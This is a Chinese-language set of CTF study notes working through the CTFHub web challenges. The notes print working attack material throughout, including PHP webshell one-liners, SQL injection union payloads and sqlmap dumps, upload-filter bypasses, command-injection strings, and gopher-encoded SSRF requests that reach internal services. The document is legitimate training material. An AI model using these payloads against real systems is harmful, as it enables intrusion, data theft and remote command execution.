CTFHub笔记-Web章节

为什么没有所有的题目?
个人学习笔记,仅用于复习和查询,没有必要的题目不会出现在此处

信息泄露

Git泄露

log

使用GitHack:py -2 .\GitHack.py http://challenge-e24ccdf6b6df7031.sandbox.ctfhub.com:10800/.git/(githack工具只支持python2)获取git目录下的全部源文件

发现网页文件并没有flag,于是查询log:

cd .\dist\challenge-e24ccdf6b6df7031.sandbox.ctfhub.com_10800\
git log

image-20230114113634717

查询remove和add之间的差异,获取flag:

git diff d056ba117983972dd519442a9ae5c2ee5e68d9d3 ea95548ec8b0ae7a919cd45d8d45d60eb94eb1f1

image-20230114113807032

stash

git stash可以用于将当前的工作状态保存到git栈,在需要时恢复。

使用上一题的方法,结果得到where is flag,考虑换个方法。

使用stash list列出所有保存过的工作状态

git stash list

发现只有一个存储的stash,于是直接pop,恢复该状态

git stash pop

恢复了一个txt文件,内含flag。

SVN泄露

使用dcvs ripper工具,需要perl和一堆依赖包。下载了很久,但是没关系

根据提示,直接下载网页的.svn文件夹即可

perl ./rip-svn.pl -u http://challenge-e6bcf44182efa0b7.sandbox.ctfhub.com:10800/.svn

需要注意的是,linux下的.开头的文件夹是不显示的,需要ls -a一下,发现.svn文件夹已经下载,于是进入文件夹,找和flag有关的文件,或者txt文件。这里文件比较少,直接就找到了。

HG泄露

同样是dvcs ripper,同样是直接下载.hg文件夹

perl ./rip-hg.pl -u http://challenge-45c4fbd3254e4642.sandbox.ctfhub.com:10800/.hg

但是这次文件夹结构比较复杂,考虑用grep查找所有文件的内容。

grep "flag" ./ -nr

查找当前文件夹下所有含“flag”的地方,并列出行号(-nr和-r的区别即有无行号)

返回值:

grep: ./store/undo: binary file matches
grep: ./store/00manifest.i: binary file matches
./store/fncache:3:data/flag_325258098.txt.i
./last-message.txt:1:add flag
grep: ./dirstate: binary file matches
grep: ./undo.dirstate: binary file matches

发现flag_325258098.txt.i文件类似答案格式,所以直接尝试在浏览器上查看该文件(去掉i)。在浏览器中输入http://challenge-45c4fbd3254e4642.sandbox.ctfhub.com:10800/flag_325258098.txt,即得到答案。

密码口令

弱口令

就是用常用密码列表去尝试。使用BurpSuite的Intruder,常用cluster bomb(兼容性高)

用户名基本上是admin,密码就用某个列表去爆破,直到出现response的区别:可用长度、状态等排序,也可以用查找、过滤

发现出现503错误,故在resource pool中设置速度,减少并发访问。

image-20230114191404524

SQL注入

注意
手工注入时,先判断注入类型

整数型注入

手工判断能否注入

输入1 and 1=0,无返回结果;输入1 and 1=1,有输出$\Rightarrow$存在注入

手工判断几个字段

输入1 order by n,不断调整n的值,使得n有输出,n+1无输出,则SQL语句返回n个字段

手工判断输出位置

0 union select 1,2看1和2分别在哪里输出(0是一个无输出的输入,不一定是0;此处以两个字段为例)

手工查询当前库名称

0 union select 1,database()那么在前面“2”的位置就会输出当前的数据库名称(database()仅限MySQL)

获取指定字段的内容

and 1=2 union select 1,user()    //当前用户、库、版本,database,version
and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata   //取库名
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名'    //取表名
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'  //取表字段
and 1=2 union select 1,group_concat(name,0x3a,passwd) from 510_admin //取表内容,0x3a是冒号
and 1=2 union select 1,load_file('c:\\boot.ini')  //读取文件

使用工具注入

$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 --current-db
current database: 'sqli'
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(100) |
+--------+--------------+
$ sqlmap -u http://challenge-67b3dcdf3cda2199.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag                             |
+----------------------------------+
| ctfhub{3bfbd5f6288520f86bd301d3} |
+----------------------------------+

字符型注入

使用工具方法同整数型

手工判断能否注入

输入1' and '1'='0,无返回结果;输入1' and '1'='1,有输出$\Rightarrow$存在注入

手工判断几个字段

输入1' order by n #,不断调整n的值,使得n有输出,n+1无输出,则SQL语句返回n个字段,其中#后面为注释

手工判断输出位置

0' union select 1,2 #看1和2分别在哪里输出(0是一个无输出的输入,不一定是0;此处以两个字段为例)

手工查询当前库名称

0' union select 1,database() #那么在前面“2”的位置就会输出当前的数据库名称(database()仅限MySQL)

Cookie注入

手工注入

使用BurpSuite,找到第二次及以后访问时request中cookie的位置,之后可以在cookie中修改sql语句进行手工注入。当然,如果输出发现是字符型、布尔型或没有输出,则需要对应的方法。

image-20230115110525214

使用工具

先使用BurpSuite得到一个样例request,然后将request存在linux虚拟机的一个文件中,例如“1”

使用sqlmap的request功能:

$ sqlmap -r 1 --level 2

此处level后面的值决定探测注入点方式多少,其中cookie在2级及以上被探测。具体每个级别探测的内容用搜索引擎找。

发现注入点之后,即可使用与之前类似的方法:

$ sqlmap -r 1 --current-db
...

UA注入

手工注入同cookie注入,即把cookie的注入点换成在User Agent处

使用工具

如果直接用–level n来尝试找注入点,会返回

[CRITICAL] specified file '1' does not contain a usable HTTP request (with parameters)

需要手动标记注入点,在“1”文件的User Agent:1后面加“*”

image-20230115114029899

然后再

$ sqlmap -r 1
...

Refer注入

和UA唯一的区别,就是在生成的样例request中并没有referer语句,所以手动加上:

image-20230115114730344

后同UA注入

过滤空格

有时网站会通过禁止带空格字符串的输入来达到一定的安全目的,但是实际上只要把输入的空格替换成/**/就可以了。非常简单,甚至好像有点傻。

文件上传

无验证

可以用蚁剑,使用shell工具访问木马:本题WriteUp

应用更广泛的小马:

<?php eval($_POST['ddf']);?>

但是也可以直接用web shell,将一句话木马写成:

<?php @system($_GET['ddf']);?>

将php文件上传,然后访问该文件,在文件后加上?ddf=shell指令即可在网页目录中进行操作。依次访问:

http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=ls -a //不在当前目录下
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=pwd //查看当前目录
返回:/var/www/html/upload/ 之后查看html文件夹
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=ls /var/www/html
发现有flag文件,直接访问没有内容,考虑用cat查看文件
http://challenge-d97d326c6a3bb91a.sandbox.ctfhub.com:10800/upload/a.php?ddf=cat%20/var/www/html/flag_1492117286.php
再查看该网页源代码得到flag

前端验证

网页通过javascript只允许白名单内的文件上传,可以通过在执行js代码时设置断点,在判断文件类型前改掉上传的文件类型绕过检测。

  1. 在F12→源代码中,找到判断文件类型的函数,在函数中判断语句前设置断点。
  2. 执行上传操作,然后在右侧改掉参数,将a.php改为a.jpg(根据白名单而定),再继续执行上传,即可完成
  3. 后续和无验证的操作相同

MIME验证

MIME,多用途互联网邮件扩展,服务端检测上传文件是否为MIME类型。

只需先上传一遍木马文件,然后上传一遍MIME中的文件(如png),从Request中得到一种允许的文件类型:

Content-Type: image/png

于是用image/png替换木马文件上传时的Content-Type,使用Repeater发送一下Request就可以完成上传了。

之后的操作和无验证相同

文件头验证

网页通过检查文件开头的内容来判断是否为合法文件

可能的方法:将png图片的头部拷贝到木马的前面;将木马拷贝到png的后面。

在木马前添加合法头部

由于png的头部是一些奇怪的代码,拷贝后显示文件错误无法上传。不知道有没有办法能正常拷贝

将木马放在png后面

选用一个小png,防止过多乱码中出现一小段编译错误的php代码。在最后插入一句话木马。

然后该掉文件名,使其后缀为php,重新上传。

image-20230118221715778

上传成功,后续操作同上。

00截断

先上传一个php,发现并不信;上传一个png,发现也没法访问。也就是并不能直接访问上传的文件。

将php上传的request发送到repeater,修改filename和存储路径:

POST /?road=/var/www/html/upload/1.php%00/ HTTP/1.1
Content-Disposition: form-data; name="file"; filename="a.jpg"

%00相当于C++中的\0,即标记了字符串的结尾。文件的存储路径是/var/www/html/upload/1.php%00/a.jpg,但是由于%00处就结束了,所以文件内容被写入了/var/www/html/upload/1.php

再访问...:10800/upload/1.php?...即可。此内容有点抽象,希望之后的我还能记得现在的我是怎么理解的。

双写后缀

上传php文件,发现上传成功,但是文件名从a.php变成了a.,说明网页会过滤掉php后缀使之无法执行。

但是,网页比较傻,只遍历一次字符串。那就把文件名改成a.pphphp,就结束了

.htaccess

.htaccess是服务器的一个配置文件,可以实现让某种后缀名的文件在执行时当做另一个后缀名。

上传写有如下内容的.htaccess文件:

<FilesMatch "1.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

再上传内容是一句话木马的1.jpg文件,即可用upload/1.jpg?之类的东西搞flag了。

RCE

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

网页提示当参数是cmd时,执行cmd后的php代码。可以用以下方法运行系统命令:

http://challenge-cff24276e86e09e4.sandbox.ctfhub.com:10800/?cmd=system('系统命令');
  • find命令

    shell的find命令:find [文件夹] -name [带通配符的文件名],即可找到在文件夹下的某种名字的文件,对找CTFHub的flag非常有用。

文件包含

网页代码:

<?php
error_reporting(0);
if(isset($_GET['file'])){
    if(!strpos(&_GET["file"],"flag")){
        inclulde $_GET["file"];
    }
    else{
        echo "Hacker!!!";
    }
}
else{
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

即:如果有参数file,且file=后面没有flag子串,那么就把file后的文件放进来。

注意到,shell.txt是个一句话木马,于是使用file参数include这个木马文件,然后另用木马中给出的ctfhub参数执行小马可用的所有指令。即:

...10800/?file=shell.txt&ctfhub=system('ls /')

后略。

php://input

网页题干:

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

当文件名开头是php://时,就会把文件include进来

php://input是一种特殊文件名,可以包含request中的内容。所以使用burp,修改request如下:

POST /?file=php://input HTTP/1.1
Host: challenge-d0f4685c0c27baca.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Length: 32

<?PHP system('cat /flag_8157')?>

第一行改为post,并把网址换为/?file=php://input,那么input文件内容即为<?PHP system('cat /flag_8157')?>

以上是最后一步,反正只要改system函数里面的内容就行了,此部分略。

读取源代码

原题:

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

由于给出了flag的位置,通过php://filter来获取文件源码:

http://challenge-5b3cb60f241900c2.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag

image-20230123131234157

输出如图。

远程包含

同input,没有任何实际区别。

命令注入

| & ;可以作为命令注入的媒介。在网站可以输入某个指令时,在指令后加上这三个中的一个,即可在其后面注入想要的命令。|可以把前面的作为后面的输入(前提是前者可以作为后者的输入);&则是在前者可以执行的情况下再执行后(C++期末考的傻逼教训);;就是顺序执行两个命令。

如本题给了一个ping某个ip的输入框,那就在IP处输入:

andreoy.cn | ls

那就执行ls。后略。

过滤cat

就用grep。前面也用到过。前面那个更牛逼()

$ grep [要查找的字符串] [文件名]

返回该文件中该字符串所在的一行。

过滤空格

用tab替代空格。即使用%09输入tab。不能在输入框直接输入,但是可以在网址栏或者Burp的request中输入。

综合过滤练习

过滤了| & ;,那就用换行(\n)。即%0a

grep在这里好像有点无敌(

SSRF

内网访问

如果有url参数,在url中输入内网ip即可访问该地址。

伪协议读取文件

同样是url参数内容:

url=file://[文件绝对路径]

即可访问文件。记得如果有根目录的话开头会有三个斜杠

端口扫描

用burp扫描端口,本题默认本地文件,则url=127.0.0.1:[端口]

POST请求

  • index.php源码
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
  • flag.php源码
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

首先按源码里说的,从url=127.0.0.1/flag.php获得MD5加密后的key。这个key是无法直接上传的,但是可以制作一个POST请求,然后用curl支持的gopher协议上传。

使用浏览器的F12做一个上传按钮,生成一个上传的request,send to repeater

删去一些不必要的参数,修改host为本地127.0.0.1,完整内容如下。留下的三个参数是不可或缺的三个POST所需参数。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=0db803a4686b5601be58786ade871dc9

index.php会进行一次解码,flag.php会进行一次解码,所以要encode两次,把百分号再encode成%25,如下。用burp弄即可。先convert all characters,再convert key characters。

%2550%254f%2553%2554%2520%252f%2566%256c%2561%2567%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2533%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%256b%2565%2579%253d%2530%2564%2562%2538%2530%2533%2561%2534%2536%2538%2536%2562%2535%2536%2530%2531%2562%2565%2535%2538%2537%2538%2536%2561%2564%2565%2538%2537%2531%2564%2563%2539

访问即可得到flag

challenge-3925d6875a1425bd.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_%2550%254f%2553%2554%2520%252f%2566%256c%2561%2567%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2533%2536%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%250d%250a%256b%2565%2579%253d%2530%2564%2562%2538%2530%2533%2561%2534%2536%2538%2536%2562%2535%2536%2530%2531%2562%2565%2535%2538%2537%2538%2536%2561%2564%2565%2538%2537%2531%2564%2563%2539

其中80是必须加的,因为gopher协议的默认端口并不是80。

上传文件

  • flag.php源码
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

上题中添加按钮上传一步,可以改为控制台的命令:

f=document.getElementsByTagName('form')
f[0].submit()

后面和上一题处理基本相同,就是把密钥改成上传一个文件即可。

FastCGI协议

Gopher协议工具 https://github.com/tarunkant/Gopherus
$ py gopherus.py --exploit fastcgi

按要求输入一个存在的php文件和一个系统命令,即可生成编码一次的gopher://开头的url。

放入burp再编码一次key character,即可完全复制到/?url=后面。

grep慎用,因为服务端不一定是threadripper

Redis协议

同样使用gopherus,然后直接访问生成的shell.php即可

challenge-be9110e1ea94749a.sandbox.ctfhub.com:10800/shell.php?cmd=[系统命令]

URL Bypass

题目要求用一个奇怪的域名作为URL的开头。但是,注意到http协议的url格式:

┌────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                              href                                              │
├──────────┬──┬─────────────────────┬────────────────────────┬───────────────────────────┬───────┤
│ protocol │  │        auth         │          host          │           path            │ hash  │
│          │  │                     ├─────────────────┬──────┼──────────┬────────────────┤       │
│          │  │                     │    hostname     │ port │ pathname │     search     │       │
│          │  │                     │                 │      │          ├─┬──────────────┤       │
│          │  │                     │                 │      │          │ │    query     │       │
"  https:   //    user   :   pass   @ sub.example.com : 8080   /p/a/t/h  ?  query=string   #hash "
│          │  │          │          │    hostname     │ port │          │                │       │
│          │  │          │          ├─────────────────┴──────┤          │                │       │
│ protocol │  │ username │ password │          host          │          │                │       │
├──────────┴──┼──────────┴──────────┼────────────────────────┤          │                │       │
│   origin    │                     │         origin         │ pathname │     search     │ hash  │
├─────────────┴─────────────────────┴────────────────────────┴──────────┴────────────────┴───────┤
│                                              href                                              │
└────────────────────────────────────────────────────────────────────────────────────────────────┘
(All spaces in the "" line should be ignored. They are purely for formatting.)

把那个奇怪的域名作为username即可,然后用127.0.0.1本地访问flag.php

数字IP Bypass

不能用127和点,可以直接把ipv4换成一个数字,127*256*256*256+1=2130706433,就用2130706433代替127.0.0.1即可

同时,也可以直接用localhost代替127.0.0.1

302跳转 Bypass

首先,并没有禁用localhost和数字ip,所以上一题的方法仍然适用

然后也可以找一个可以跳转到127.0.0.1/flag.php的短链接,但是没找到好的生成网站所以就算了(其实用自己的域名和服务器可以做)

DNS重绑定 Bypass

生成器 https://lock.cmpxchg8b.com/rebinder.html

使用这个生成器,可以将一个域名解析到两个不同的IP地址,并且切换的TTL很小,有时可以骗过一些检测。本题不能用带127的东西访问,却又要求从127.0.0.1进入。

随便选一个网址对应的ipv4,例如ctfhub.com[180.163.28.105]

得到一个网址7f000001.b4a31c69.rbndr.us

于是用以上网址替代127.0.0.1,多刷几次就得到flag了。

0%